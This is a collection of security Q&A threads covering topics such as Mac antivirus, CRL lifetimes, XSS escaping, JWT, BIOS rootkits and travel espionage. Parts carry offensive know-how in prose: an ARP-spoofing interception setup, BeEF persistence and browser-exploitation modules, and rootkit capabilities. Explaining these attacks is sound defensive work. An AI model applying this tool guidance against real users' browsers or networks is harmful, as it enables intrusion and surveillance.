Should I get an antivirus for my Mac? There are some people saying that people should use an antivirus software on Mac. And there are thousands of people claiming that Macs don't get viruses (under this term I mean spyware / malware as well), some even say that it's just a trick from antivirus companies to say that there is a need for antivirus.

Honestly, I'm a bit confused. I don't want to waste resources on a possible unnecessary antivirus software, but I want to have my computer safe.

If it's common knowledge that Macs don't get viruses for quite some years now, shouldn't there be some bad people thriving to prove this wrong?

( Edit, here is a quite recent reference on people dismissing antivirus softwares on mac: https://discussions.apple.com/message/24714586. )

There is no clear evidence that third party anti-malware security software (AV software) is more effective than Apple's own security solutions to protect Macs. Rich Mogull on the Mac TidBITS blog explains:

  Far less malware exists for Macs, but even there we see limited
  effectiveness across tools. For example, in a recent test by Thomas
  Reed, even the best Mac malware tool detected only 90 percent of the
  known malware samples used. This is a poor showing — we only see
  dozens of Mac malware variants per year, compared to 65,000 per day
  for Windows.

  Despite Flashback being used as a call to arms to encourage people to
  adopt antivirus tools, most of those tools failed to detect Flashback
  for weeks — until it was highly publicized.

AV Vendors make a number of dubious claims with little real-world verification; if a widespread "zero day" attack did hit, there is no reason to expect third party software, which relies on signature databases, to be able to identify and stop it. Some third party Mac AV packages didn't recognize well documented Flashback variants for more than a year after it first hit.

More, Apple has its own security features, Xprotect and Gatekeeper, which do a good job of identifying and preventing known and potential malware from executing on your system. Apple keeps these up to date, and is generally good about patching known security issues quickly.

Third party AV software does have some (limited) utility in protecting non-Mac systems from infected files sourced from other non-Mac systems (sharing documents, etc.)


Why not set Root CA CRL for Sub-CA to be really long? I am designing a two-tier AD-CS PKI and when it comes to the Root CA I am struggling to understand the validity period of the CRL which is used to validate the sub-CAs by end entitites.

Documentation appears to recommend 3months, 6months or 1yr but what I don't really understand is, why not longer?

I'm planning on 5yr certs for the sub-CAs so they will be renewed at 2.5yrs, following the half-life cycle.  Why then should I set the CRL from the Root to be less than that and just cause myself administrative overhead of powering on the Root every few months to refresh the CRL?

I am thinking about what a CRL is actually used for and I understand that the longer the validity period of a CRL, the longer it remains in the cache of a client.   But, I'm also thinking about the cirucmstances that I might actually revoke a sub-CA's certificate, i.e., key compromise.

Am I really then supposed to wait several months or even a year for end entities to update their cached CRL with the most recent one which will contain the revoked CA cert and only then will they stop trusting and using the certificates issued by the compromised CA?

Surely immediate remediation steps are going to be taken?  Revoking the CA will be the first step but then I will be standing up a new sub-CA, creating a new key pair and start issuing new certificates to all the entities, adding the compromised CA to their untrusted store, manually clearing their CRL cache and forcing them to get the new one.

It seems that the routine of bringing the Root CA online every few months is just a needless ceremony because when push comes to shove, that long CRL validity is going to be useless.   Wouldn't it just make more sense to only bring the Root online to issue a new CRL if the sub-CA needs to be revoked?

I completely agree with you -- you seem to understand the complexities of the issue.

Let's look at the extremes:

CRL Lifetime = subCA Lifetime. ==> the CRL is completely useless; you have no ability to revoke the subCA because so long as the previous CRL is within its validity period, clients have no reason to fetch a new one, unfortunately that's how the protocols work.
CRL Lifetime = 1 hour. We have to change how we think about "offline" root CAs.

I agree that 3 months or 1 year seems like a worst-of-all-worlds compromise.

The high-value production CAs I've worked with take the latter approach and keep the root CAs in a "root firewall zone" that allows CRL data out, to be picked up and published by a machine in the DMZ, but no other connections. You still need physical access to the root CA box for anything other than fetching CRLs. The auditors we work with are satisfied to call that "air gapped".

I even heard of one clever solution sending CRL data out over the Line-Out audio jack!


Forcing a black box to register a ssl cerificate I have in my home a proprietary device, which I took an interest to see what it does over the network.

I first determined his Ip on my network, and the port used to pass http/s requests, then arp spoofed him to my mitmproxy server.

After this setup I'm able to see unencrypted traffic coming through.

My question is, what are my options to force the device to accept my ssl certificate, in order to see the encrypted traffic as well.
Is that even possible? The device software won't help, as this is black box type of device (you plug it in and it automatically work), so I'm left with physically modify the device hardware, or working locally on the same network as I did until now..

I need to note that all the work is done solely for learning purposes.

Thanks.

For the HTTPS proxying to work, the client must know (and trust!) the mitmproxy CA, i.e. the CA key file must be added to the trust store of the client. What type of device is it? How can you access it?


Is it possible to compromise Bing to redirect user to a malware? I just got a new laptop and the first thing I wanted was to install Chrome.

I opened IE and searched for "google chrome" in Bing.

The first result was an ad with the link pointing to www.Google.com/Chrome like below

I clicked the first link and to my surprise it opened a suspicious site http://www.thesoftwarelive.com/chrome/

Is it actually possible to compromise Bing to display seemingly innocent (trusted) URL, but redirect user to a malicious site?

I have just reported that on MS site, where one of the options was The display URL I saw in the ad does not match the landing page. However, it is frustrating how many non-tech savvy people might have fallen for that.

That's not the way it happened.

There are cases of ad networks presenting malware, but generally the ad network has been fooled. The hacker generally creates a innocent site, and buys ads from a network (Bing can be one). So, as soon as he gets traffic coming from Bing, he changes the site to install malware.

So, Bing was not compromised, but the site was changed after being submitted. Bing, Google, Yahoo and others scan the sites they point to, searching for malware. But they cannot find every instance of this attack.


Filter user input before the database or upon display? Given a web application where user data must be properly escaped to avoid XSS, is it better to try to remove the "bad stuff" before it enters the database, or is it best to allow it in the database but be careful about escaping output when it is displayed on the page?

I see some applications where the input is stored raw in the database but output is always escaped (at least so far -- I'm still hunting!). It makes me uncomfortable to see malicious data in the db, because the safety of the output relies on the developers remembering to escape the strings every time they make an output... (Some kind of framework would be better, at least it collects the output code and filtering/escaping into a common location.)

Edit

For clarity: I'm auditing existing web applications, not developing. (At least for the purposes of this question -- when I do web dev, I reach for a framework.) A lot of what I see uses ad hoc filtering and/or escaping on input and/or output. @D.W.'s answer hit the nail on the head -- getting to the essence of what I was asking.

Great question!  You are asking the right questions.

Short answer.  In most cases, escaping at the output side is the most important thing to do.  The best solution is to use a web development framework (such as Google ctemplate) that provides context-dependent automatic escaping and automatic defenses against other injection attacks (like prepared statements to avoid SQL injection).  This is likely to be more effective than sanitization on the input side.

Explanation. Here we have a flow of untrusted data from some input source (e.g., a URL parameter), through a complex chain of computations (e.g., through the database), and finally out to some output sink (e.g., dynamic content in a HTML template).  Where should we put the sanitization/escaping?  We could put it near the input, or near the output, or somewhere in the middle.  How do we decide where is best to put it?  I think that's what you are asking.

The first part of the puzzle is to realize that it is better to have a consistent policy.  It is better to put everything at the input, or everything at the output, than to sanitize 50% of the inputs and 50% of the outputs (if you do the latter, then it is too hard to check that your policy has been followed consistently, and it is too easy to end up with a flow of data from untrusted source to output sink that never gets sanitized/escaped).  It is better to have a policy that "everything in the database is already sanitized and escaped, and it can all be treated as trusted" or "nothing in the database is sanitized/escaped, and it should all be treated as untrusted" (or to have a policy which documents which fields in the database can be trusted to have already been sanitized/escaped, and which ones are trusted) than to have no documented policy.

The second part of the puzzle is to ask: What extra information do I need to know, to do the sanitization/escaping correctly?  Do I need to know some information about where the untrusted input came from?  Do I need to know some information about where it will be used (what part of the output it will be inserted into)?

In most cases, it turns out that the answer is: we need to know where the untrusted data will be used (where it will appear in the HTML output), but not where it came from.  We need to know where in the HTML document it will be inserted, because this determines the choice of escaping function: if it is inserted in between tags, then you should use HTML escaping to escape <, >, and &; if it is inserted inside an attribute, then you need to escape quotes as well; if it is inserted as a URL, then you also need to check the protocol scheme (to make sure it is not a javascript: URL).  This information is readily available at the output sink, but not at the input source.  If you perform escaping at the output side, then this information is readily available: when you insert dynamic data into a HTML document, you have all the information you need about what parse context it will be inserted in, at your fingertips.  On the other hand, if you try to sanitize at the input source, it is not clear where the data might be used, so it is hard to know how it needs to be escaped.  So this suggests escaping at the output sink, rather than sanitizing at the input source.

The third piece of the puzzle is that there are web programming frameworks that do context-sensitive auto-escaping.  Typically, they use a template system, and for each value that will be dynamically inserted into the template, they look at the HTML context where it will be inserted (is it between tags? inside an attribute? a URL value? inside Javascript?), figure out what escaping function needs to be used, and then automatically apply that escaping function.  This is a big win, because it ensures that the proper escaping function is used, and eliminates vulnerabilities where you forgot to escape some value.  Today, both of those kinds of vulnerabilities are common: developers often forget to escape some value, and when they do remember to escape, they often apply the wrong escaping function for the context where the value will be used.  Context-sensitive auto-escaping should essentially eliminate those vulnerabilities.

Discussion. That said, the best defense is to use both context-sensitive escaping at the output, and input validation/sanitization at the input.  I consider context-sensitive escaping your most important line of defense.  But sanitizing values at the input (based upon your expectation of what valid data should look like) is also a good idea, as a form of defense-in-depth.  It can eliminate or mitigate some kinds of programming errors, making it harder or impossible to exploit them.


2-Factor Authentication vs Security Questions I have an account with a bank that has additional security option.

When it does not recognize a device being used to access the account, it will either:

Prompt with 1 of 3 security questions
Send a one-time token via text message to cell phone.

I determined that it "recognizes" a device via cookie (when I clear my browser cookies is when it prompts me again for the additional security option).

Let's assume that the security questions / answers I have chosen are not subject to social engineering from browsing facebook/linkedin/etc.

Just had a few questions:

Can anyone help me enumerate all the reasons that the one-time token is more secure than the security questions?  Here are some one of the ones I could think of:

It is true 2 Factor: what-you-know (login/password credentials), what-you-have (cell phone).
As opposed to what-you-know (login/password credentials) and another what-you-know (secret question/answer)
It is dynamic and only provides access for a given amount of time.
Are there others I am missing?

Is the fact that they are using cookies to "recognize" a device and thus no longer prompting for the one-time token subverting this security mechanism (like putting an iron gate out front and leaving the back door unlocked)?
Have an account with a different bank that uses similar security.  However, when I clear my cookies, they still recognize my device.  I would assume they are tracking the known device(s) by IP Address and possibly other HTTP header information.  Would this be a better / more secure way to "recognize" than the cookie?

Thanks,

Are there others I am missing?

The one-time password has more entropy than dog's name and is less vulnerable to enumeration/dictionary attacks.

On a phishing site, it is fairly easy to display some trivial personal question (e.g. what is your dog's name).  The phishing site doesn't need to know the answer.  On the other hand it is pretty difficult to spoof a one-time password sent to your phone, since the phisher won't know your number.

  putting an iron gate out front and leaving the back door unlocked?

Maybe a little bit.  Probably not a concern if the cookie has sufficient entropy, i.e. is hard enough to guess.  If the hacker has some means of actually getting the cookie-- e.g. has physical access to the computer-- you're screwed anyway.

  when I clear my cookies, they still "recognize" my device

There are a couple possible explanations for this.

One explanation, as you have noticed, is IP address, although this wouldn't work very well for mobile devices or certain ISPs (IPv4 addresses do change from time to time).

Another explanation is that the cookie is backed up by a different token, e.g. a Flash token, which is not cleared when you clear cookies.

A third explanation is that they are not really checking whether they "know" your computer.  Instead they are performing a risk-bases analysis of your browser's fingerprint, cookies, IP address, etc. and deriving a score.  You get prompted for the MFA if your score isn't good enough.  A lack of cookie doesn't necessarily trigger it.


How do we protect our server from anonymous hacker? Possible Duplicates:
  Hardening Linux Server
  How to best defend against Targeted Attacks?

I read this news: Anonymous hacker group hits Apple, publishes data

My question: How do we proactively protect our servers from anonymous hacker? Proactively protect here means the ways to beef up security and hardening the servers with the help of Intrusion Detection Systems to minimize damages.

The first thing to acknowledge is that there is nothing special about attacks from an organization such as anonymous.

Please note that I'm not saying that you should not try to protect yourself from those hacking groups.  What i am saying is that, unless you are specifically targeted or are part of a target scheme by a group, those organizations' attacks will be the same as the many attack attempts that security professionals see every day.

The only time that a group such as anonymous will actually change security initiatives is when you start looking into APTs (advanced persistent threat).  If you are not familiar with the term, or even if you are, i suggest that you take some time researching what an APT is (there is no clear definition).

The best defense against that kind of threat is the bolstering of current industry security practices.  This means a combination of tools;  use security information/event management (SIM/SEM) technologies, intrusion detection/protection system (IDS/IPS) technologies, network behavioral analysis (NBA) technologies, proxys, anti-virus, firewalls, etc.  Making a more comprehensive solution and paying more attention to changes in your environment is what needs to be done.

The idea that some organization is deliberately using a multitude of different technologies/techniques together to attack your system requires the use of a multitude of defense technologies/techniques that are correlated to defend against it.

So, the simple answer is this...  There is no different way to defend against organizations such as anonymous, use the tools and techniques that already exist and keep a watchful eye.


What happens if 1password or allpass are gone? I am going to use one of them for my password management.

The thing is, what about if one day, the password management company is hacked or destroyed.

What would be my recourse?

It shouldn’t be too much of a serious problem.

What I guess you are referring to is that your password database on one of those service’s servers is gone/cracked.

The cracked possibility

If the servers were to be cracked and your database to be released in the wild, then you’d probably be safe, depending on the security of your password. As databases are encrypted, only someone with the password (you) can unlock it. However, if someone was to use password cracking on your database and that you used a weak password, it could be cracked. That’s why it’s recommended to have a VERY SECURE PASSWORD that you’ll still remember (no forgot my password function here). I’d still recommend changing your passwords tho, but you don’t have to rush it.

The server shutdown possibility

If it happens, then don’t worry, because the app probably stored your database locally, and you’ll be able to export it. lHowever, I’d still recommend doing backups regularly, and storing them somewhere safe, and even better, doing 2 backups and storing them separately.

Another option

If you don’t trust the company’s servers, you can use a serverless solution called master password that works without any server whatsoever, but doesn’t really let you choose a password. For a more traditional style, there’s keepass, an open source database file format for which multiple different softwares/apps (keepass 2, keepassxc, keeweb, etc.)  were developed, and therefore lets you have the freedom of host, like dropbox or google drive.


What's the benefit of JWT if user needs to send his credentials once anyway? JWT tokens seem like a very good idea. You can send a request to some API without using your username/password secret pair.

Still, I don't fully understand the benefits that it gives. I have two questions:

To get the token, user still needs to send his credentials to some server that issues these tokens. Isn't it a weak point of all this?
If attacker steals the token while it's being transferred, he can use it to pretend he is someone else. The only difference between this and using user/password combination is that JWT tokens get expired after some period of time, so attacker doesn't have much time to do his thing.

Is my understanding correct? What am I missing? What are real advantages of using JWT vs user/password?

Suppose there are 2 servers: TRUSTED (e.g Google) and UNTRUSTED (any site that allows 'Sign in with Google').

I don't want to send my TRUSTED username and password to UNTRUSTED. I also don't want to make a separate username and password for UNTRUSTED.

So instead I get TRUSTED to authenticate me, and send a signed JWT containing my identity to UNTRUSTED to prove who I am. UNTRUSTED can check if the JWT is really from TRUSTED by verifying the JWT signature using TRUSTED's public key (if the signing algorithm uses public/private keys, e.g. RS256).

JWTs can be stolen in transit, as can usernames and passwords, so this is a real risk (although, as you mentioned, JWTs will expire sooner). HTTPS will minimize the risk by encrypting data in transit.

Another major benefit of using JWTs is that verifying a signature is often faster than checking an access token against a database.


Does malware which infects the BIOS/ Firmware always need 'root' access to do so? There are very few hardened Operating Systems who restrict or totally disable Terminal 'root' access for the user.

Would this feature prevent persistent BIOS rootkits from writing into BIOS or infecting other firmware on the machine? What's the security margin of this feature?
Considering above attack vectors, would it make a difference either totally disabling root access (hardcoded) or just use a strong root password? What's safer?
Could there be exploits which allow malware to write to BIOS without root at all?

In Earlier days there was lack of access control on BIOS reflashing procedure which could introduce Rootkit into BIOS,ﬂash chip with no root access required. In a much more recent attack, the Mebromi malware rewrote the BIOS of a machine with code that would then write a typical Master Boot Record infection routine to the ﬁrst sector of the disk. This allowed the malware to persist even if the hard drive was replaced or formatted,All of the preceding attacks on the BIOS relied on the Bios being unprotected and easily writable and required no root level access

Disabling root access cannot prevent these bootkits or rootkits from harvesting or stronger root password because there are several ways they can infect
flash the BIOS via usb CD (core boot and PCI roms such as IPXE)
Boot a Payload over network BOOTKIT > No root required
Boot a Payload over wifi/Wimax > no root required
Remotely reflash the Bios/ Network card if necessary> no root required

Some features of these Modern BIOS/Firmware rootkits have

Removes NX bit
Removes CPU updates (Microcode)
Removes SMM protections > SMM Used to get ring 0 access
Disables ASLR
removes protection to allow supervisor procedures to write into read only pages

Since their are techniques/Exploits exists to allow remote write to BIOS/Firmware as discussed by Blackhat Rakshasa Bootkit in 2012
Blackhat

Further the presence of secure boot and trusted Boot in windows 8.1 secures us from older BIOS attacks/Backdooring,however as indicated in recent research
https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-WP.pdf it is still possible for malicious/crafty user to launch attacks


Metasploit Development Reference The Metasploit team provides some documentation on how to develop exploits, but other than looking through the sourcecode (which is annoying considering how much time I spend going from this file to that file) is there any other semi-comprehensive reference that would make it much easier to learn about the framework? Such as discussing common functions, but in more detail than the documentation found on Metasploit's website.

They have video series on developing exploits with metasploit here
http://www.securitytube.net/groups?operation=viewall&groupId=0

Here are some other links
http://www.offensive-security.com/metasploit-unleashed/Useful_API_Calls

http://www.offensive-security.com/metasploit-unleashed/Exploit_Development

http://dev.metasploit.com/redmine/projects/framework/wiki/ExploitModuleDev

http://www.nullthreat.net/2011/01/fuzzing-and-exploit-development-with.html

http://www.securitytube.net/video/2321

http://dev.metasploit.com/redmine/projects/framework/repository/entry/HACKING

Also i recommend looking at exploits similar to what you want to do to see how they work.


Why is OAuth 2.0 being used for mobile devices, and not OpenID? Microsoft Azure Mobile services exclusively uses OAuth 2.0 for authentication, and many other providers mention the use of OAuth 2.0 specifically when referring to mobile devices.

Question

What makes OAuth 2.0 more appealing than OpenID specifically for mobile devices?
Is there a reason to use OAuth 2.0 that isn't exclusive to usage on mobile devices? (smaller payload, better home realm discovery)?

OAuth and OpenID have different purposes. OpenID revolves around the concept of proving "who you are" and hence is useful in the scenarios where you use one login to log in to multiple sites. However, OpenID doesn't talk about authorization for taking certain actions or accessing certain data of Site1 while you're on Site2. For example, you're on FaceBook and want to import your contacts from GMail, OpenID won't help you, but OAuth will (you will use OAuth to authorize FaceBook application to fetch contacts from your GMail account). Furthermore, the level of access authorization is also controlled via OAuth (for example, some applications/websites can request for access to your Twitter Direct Messages, while others only request access to Post tweets on your behalf).

Since majority of Mobile device access situations are about accessing data or posting data to a service, you would find OAuth being mentioned appropriately in the context. If you find a situation where the application only requires a login (proving your identity), but does not require access to your account's data, then OpenID is equally applicable.

For further reading, I would recommend this blog post: OAuth-OpenID: You’re Barking Up the Wrong Tree if you Think They’re the Same Thing


Secure intermediation of messages Suppose there's systems A, B and C.

A has an trusted relationship* with B and B has one with C. How can B intermediate a request from A to C while still providing both A and C the guarantee that they are talking to each other?

Some options I have considered:

A can share a passkey with C and that key can be used to encrypt messages before they are sent to B and decrypted when they reach C.

*=Meaning they they are connected via an unspecified trustworthy connection.

First of all, when saying X and Y have a trusted relationship, it usually implies that X trusts Y and vice versa. This is not necessarily to do with the quality or guarantees of the link between them. I'm not just saying this to correct your definition, but because this trust relationship is important.

If in your case, A trusts B, and C also trusts B, then both A and C should trust that B delivers the messages that they sent without modification. There are many cryptographic examples that use a trusted 3rd party for exactly those kind of things.

If however, there's no trust in B. Only a trust in the security of the links to/from B, then it's a different story.

Encryption is probably not what you need here, or not ONLY what you need. If A and C share a key and encrypt messages between each other (via B), B won't be able to read the messages, but nothing stops it from changing the messages. Some times it's possible to make changes to encrypted message. For example, if I encrypt a message "I owe you $1000", it might be possible that B adds stuff to the message so after decryption it looks like "I owe you $10000", or change it to "I owe you $9000" (e.g. bit flipping attack). I wrote a little blog post describing this misconception in a little more detail, in case you're interested.

If you want to protect the message against modification, you should consider using some kind of a Message Authentication Code (MAC). Typically, you'd probably want to use HMAC - which uses a secure hash function to generate the MAC. This is like a signature on the message. Even the smallest modification will invalidate this signature, so it can be detected. Without knowing the key between A and C, B cannot forge this signature either.

Now nothing stops you from using Encryption + Signature. This will ensure both that those messages cannot be read nor modified.

With all that in mind, I'd still urge you not to develop/build your own solution, but rather find a suitable protocol or at the very least a library/package that provides those kind of mechanisms.


openvas omp tool is not able to parse target option I am trying out the OpenVAS and the omp tool (version 5.0). I can connect to the OpenVAS manager and get the targets and configs but when I try to create a task, I get an error.

 $ omp -u test -w fa542f5d-7943-4a3a-800c-b3ec075dc5ea -T
 b493b7a8-7489-11df-a3ec-002264764cea  Localhost

 $ omp -u test -w fa542f5d-7943-4a3a-800c-b3ec075dc5ea -C \
   -c daba56c8-73ec-11df-a475-002264764cea \
   -t b493b7a8-7489-11df-a3ec-002264764cea
 Error parsing option -t

Can anyone please help me to understand this?

PS: I understand that there is a XML construct and it works but passing commandline parameters is usually much more convenient and scriptable.


3rd Party Vulnerabilities Fix (Access to source code vs no access to source code) I've embedded system software with listed vulnerabilities from a static code analyser tool. Since it is an embedded system, and I don't have access to some of the source code (being 3rd party) for which vulnerabilities have to be fixed, what can I do in this scenario?

Access to source code = no issue, all bugs can be fixed.

It is only a specific question where access to source code is not available.

In that scenario, I would reach out to the vendor. If you are one of their customers you should have a support model for ongoing issues. If it was developed or purchased with no ongoing support you might have to pay for a update. You should come up with a options paper for management eg:

Do nothing and the risks associated
Have company abc develop and publish a update
Purchase a up to date competing application with ongoing support
Mitigate the vulnerability some how (Cant expand as haven't got the details)


How safe are employee laptops in China against International corporate espionage? I recently took a business trip to China.  Our IT department told me I could not take my normal machine, and instead gave me a loaner.  This loaner had MS Outlook and was linked to my normal company e-mail account.  I logged into the corporate network using the same VPN and token (Mobile Pass on my iPhone) that I would have used had I taken my normal machine.  I should note that I did take my normal iPhone, not a loaner.

The primary difference from the normal machine seems to be that upon my return, the loaner would be reimaged, and presumably used as a loaner on the next trip someone took.  I was never asked not to place the loaner on the company network on my return, and I never tried so I do not know if it would connect to the network or not.  There were also no restrictions on moving files from the loaner onto my normal machine.  I also used my normal logins on the loaner (user id, passwords, etc.).

My question is:  does this loaner laptop policy provide significant security benefit over taking the user's normal machine?

Follow up edit:  and does the fact the destination is China, versus, say a location in Europe or the US make a difference?

I recently took a business trip to China. Our IT department told me I could not take my normal machine, and instead gave me a loaner.

That may not have helped you at all. The reason I'm saying this is because you connected that laptop to the corporate network after you brought it back to your country.

  This loaner had MS Outlook and was linked to my normal company e-mail account. I logged into the corporate network using the same VPN and token (Mobile Pass on my iPhone) that I would have used had I taken my normal machine. I should note that I did take my normal iPhone, not a loaner.

You shouldn't ever reconnect that computer to your corporate network. You need a clear separation of concerns.

International Corporate Espionage and You

Do you have a company that does important business in China? You may have been hacked on arrival. Unfortunately, since you also connected to the corporate email and other accounts, you may have had all of your email addresses and contacts exfil'd.

Why would they need that information? For phishing attacks, for information on clients, contacts, et al.

Unfortunately, most of the hotel internet service that I've encountered have had significant problems with their login portals, such as drive-by-download exploits in Javascript, Flash, and Java. If you had any of those enabled, and your machine was vulnerable, then it's quite possible you're infected without realizing it.

I've personally come across hotel WiFi that "doesn't work," which requires "IT staff" in the hotels who will personally come in and set up your  connection properties (IPv4, IPv6, DNS, et al) to connect through a malicious server. Sometimes they even try to download files on my laptop while "fixing" it.

Firmware attacks are possible

  The primary difference from the normal machine seems to be that upon my return, the loaner would be reimaged, and presumably used as a loaner on the next trip someone took.

Unfortunately, this won't help against firmware-based attacks. It can be as simple as inserting a BadUSB device when you're away. Walk in, insert, wait for confirmation of flashed hardware, leave. If you're working for a government contractor, or have important company secrets to protect, I wouldn't even trust a re-imaged drive.

Full disk encryption doesn't protect you against flashed firmware, or even hidden device implants. They can simply turn on the laptop, insert a piece of media that contains malware, flash your bios without even touching the drive, and then install bios-based malware.

But firmware attacks aren't absolutely necessary

Did you leave the laptop alone in the hotel while you went shopping, or when to an important meeting? It may have been broken into physically while you weren't there.

One good way to defend against this is by ensuring that your hard drive was encrypted, and then shutting it off when you're gone. But this isn't perfect either; they can physically implant things in your laptop faster than you think. You could also try placing few warranty/void seals on the laptop edges before visiting China. If they're broken, assume the hardware is compromised.

Again, keep in mind that full-disk encryption won't save you from hardware-based attacks. If they copied your hard drive contents and then installed a hardware-based keylogger, then they could retrieve your hard-drive contents easily.

What about my phone? Is it safe?

Since you mentioned your phone in your post, I thought I'd add this little tidbit. It's possible to replace your phone's charging equipment with a malicious doppelganger while you're gone, or even while you're asleep.

If you spend enough time in hotels, you may run even into hotel employees who actually enter your hotel while you're asleep. Even if you've bolted the doors and locked them.

Should I connect to my normal corporate network while in China?

  I was never asked not to place the loaner on the company network on my return, and I never tried so I do not know if it would connect to the network or not. There were also no restrictions on moving files from the loaner onto my normal machine. I also used my normal logins on the loaner (user id, passwords, etc.).

I would suggest that your IT Security staff spends a bit more time learning about foreign attackers. Using your normal logins is pretty much a huge no-no in China, or in any other high-risk area.

Are there any security benefits of your laptop policy?

  My question is: does this loaner laptop policy provide significant security benefit over taking the user's normal machine?

Nope. The reason is that you ended up connecting to your corporate network's VPN. I took a lot of disposable tech to China, and it ended up getting hacked every single time. I reformatted afterwards, and the infection persisted. Had I connected that to an important network where I had read/write access to critical things, I'd be in for a world of trouble.

If you want an Advanced Persistent Threat spreading everywhere, go for it. Personally, I want all the infections so I can reverse-engineer them! :-) However, considering your company likely has secrets to protect, I would not trust this laptop policy.

In fact, what you're describing - the way you used the computer - sounds like a goldmine to a skilled hacker, or even a script kiddie who can automate the attack. What would you do at this point if you considered your data breached? It could just be the early stages of a breach, getting the data ready for a phishing attack, or you might've had more important information available potential attackers.

But what about the corporate VPN?

Keep in mind, as I've stated several times, if you connected to your company through the corporate VPN, and someone in China or elsewhere infected your machine, then anything you're allowed to do on that corporate network is also accessible to them. Are you allowed to create/read/write critical files and folders? So could they.

Again, whatever you're allowed to do on your corporate network, so can they if they control your computer. This could be done silently without you realizing it, even while you're on the system.


How does BeEF work and how can it be persistent? BeEF - the browser exploitation framework.  I think (thought) I had a basic working understanding of how it works.  Recently, though, I was watching, this DEFCON talk, where a hacker used a man-in-the-middle attack to inject a BeEF hook into a lot of browsers.  Fine.  However, he claimed that his hook persisted even after the victim disconnected from his proxy or navigated to another page because "the JavaScript was running in the cache."  Only clearing the cache could free the hooked browser.  How is this possible?

My understanding was that BeEF exploits (and the hook) were JS based and worked like an XSS attack, rather than exploiting a vulnerability in the browser executable itself.  I know it is possible to store some information in localstorage or cookies, but how is it possible to execute javascript across tabs/sessions?  Is my understanding of BeEF wrong? or JavaScript?  I have looked for the actual payload.js file to see what its really doing but I cant find it anywhere.  Thanks four your help

BeEF is best run from the MITMf tool -- both are available in most versions (especially recent) of Kali Linux. MITMf has an extension to BeEF not found in other places called BeEFAutorun. Both BeEFAutorun and BeEF Autorun Rule Engine (ARE) work similarly to XSSF and Trustwave SpiderLabs' beef_injection_framework, but the built-in ARE is superior and works out-of-the box. MITMf is a competitor to Ettercap (older) and bettercap (newer and includes a beefbox proxy module). Videos from TheBeefProject here.

That said, BeEF and XSSF -- no matter how delivered or automated -- both have their benefits and drawbacks. Neither has a built-in cache-persistent capability. This cache technique might only apply to browsers that support HTML5 offline storage, although most today do. The original technique was discovered by Lavakumar Kuppan and discussed on his website, andlabs (tool site down, but blog post is still up), as well as in the book HTML5 Security in the section on Application Cache. An html manifest tag can specify a cache.manifest file where storage occurs. A man-in-the-middle condition, control of a proxy server, browser hook (e.g., BeEF) etc, is required to initiate the attack. Code to perform the attack has been slightly modernized from the original code and available on GitHub as squid-imposter.

  how is it possible to execute javascript across tabs/sessions?

This functionality is already available in the BeEF Modules that provide persistence. In particular, a BeEF attacker should consider using both the man_in_the_browser and the iframe_above modules unless they want a temporary injection. If all you need is a temporary injection (such as via your own hosted, malicious site, via an XSS, or other quick mechanism), then I would use the invisible_iframe module to provide a link to a metasploit-framework browser_autopwn listener. This technique is provided in the book, Gray Hat Hacking The Ethical Hacker's Handbook, 4th Edition. I think that this book has the most thorough coverage on BeEF and MetaSploit integration, but Mastering Kali Linux for Advanced Penetration Testing, Intermediate Security Testing by Daniel Dieterle, and The Browser Hacker's Handbook also make mention to many of these techniques.

It's interesting to compare the code from BeEF to XSSF. For example, keeping persistence across tabs in XSSF is performed by the ghostify and iframeize modules. One thing I enjoy with XSSF is the direct integration to the msfconsole command-line interface. BeEF does provide a Console, as well, though. A book that is in progress called Holistic InfoSec for Web Developers has an excellent section on configuring BeEF that includes metasploit-framework integration and setup of the BeEF Console. The author also has a YouTube channel where BeEF is extensively covered in demos 1 and 3. The XSSF console is incredibly flexible when time-pressured, implementing commands such as xssf_add_auto_attack detect_properties, which can be very useful in live scenarios and cyber exercises. The setup and teardown of XSSF Tunnels is excellent. BeEF has more modules and is easier to troubleshoot if you need extra console (BeEF has both web-based and command-line consoles, as well as this third-party contributed command-line version named beefconsole.rb) and debugging (e.g., beef cli options) capabilities. Particularly awesome is the MS Office detection module -- and a PowerShell-friendly Meterpreter-delivered social-engineering attack against Internet Explorer with hta_powershell. Finally, BeEF supports channels over WebRTC, making it one of the coolest tools on the block.


Encrypting a huffman encoded file I wrote a huffman encoding program that can compress and decompress files.
The file contains a header which contains information that allows me to retrieve the huffman tree.
I wanted to add a simple encryption/decryption feature to my program.
I was wondering which way is better:
1. Encrypt the whole file. The problem with that is that people can figure out my header pretty quickly (relative to the 2nd way), as it is a maximum of about 1KB.
2. Encrypt everything but the header. That way, the attacker has the huffman tree, but it's useless unless he can find the right key to decrypt the content. And how will he do that, he can't just simply see if it's plain text or binary (simplified), he has to decompress it with the huffman tree, which will require more time.

I think the second way is better.
Is there something I'm missing here?
(Please don't tell me to use a modern algorithm or something like that, this is a hobby project and I want to code it myself)

Thanks.

Judging from the question and the comments, I'll paraphrase your question as:

I'd like to encrypt a file, but part of my file has a predictable format.  Will this make it easier to crack the encryption?  Should I leave the structured parts out and encrypt only the minimum?

First off: that's not a silly question.  Intuitively, you would think that knowing about the structure of the message would help you decrypt it, and this is true—to a certain point.
Luckily, this issue has long been anticipated by cryptography.  'Modern' encryption algorithms have a high branching factor: a small tweak in the input, a single changed bit, will create an unrecognisably different output.  Because of this, knowing the structure of part of your file will not help me much, because any variation in content will lead to a very different result.
High branching factors are essential to strong encryption.  Here is a brief example(1) of this in action:
> echo HELO1 | openssl aes-128-cbc -k meep -S 0
∙╞X╟ε╜i§B÷FÄ│Γat

> echo HELO2 | openssl aes-128-cbc -k meep -S 0
╩ ëhnw²╜╗ç1L▀≡☼·

(1) Syntax: openssl <algorithm> -k <passphrase> -S <salt>
Note that HELO1 and HELO2 have a similar structure—they differ by only two bits—but produce a very different output.  This makes it so that, if I start guessing for your encryption key, I will have no idea of how 'close' I am.  Basically, unless I get an exact hit and guess your passphrase, I'm going to have a hard time decerning anything from your file.
Unless, of course, you give me information by leaving your headers exposed.  Not only do I now know the file type, I also have access to the Huffman tree, which was built from, and hence contains information about, the message it encoded.  I may be able to make an educated guess about the contents without ever trying to decrypt it.

Analogy: HTTP(S)
HTTP is a structured protocol as well: each request starts with a 'method' (GET, POST, PUT...) and ends with HTTP/1.X with X some number.  Even more: each line that follows has a predictable structure, as well as some lines which could be accurately guessed (Host:).  That sounds like a lot of information for me to use.
Yet HTTPS encrypts the entire conversation, because not doing so would give me a lot more information.  Heck, with all the headers, I might not even need to decrypt the payload: I can blackmail you with just the header data.


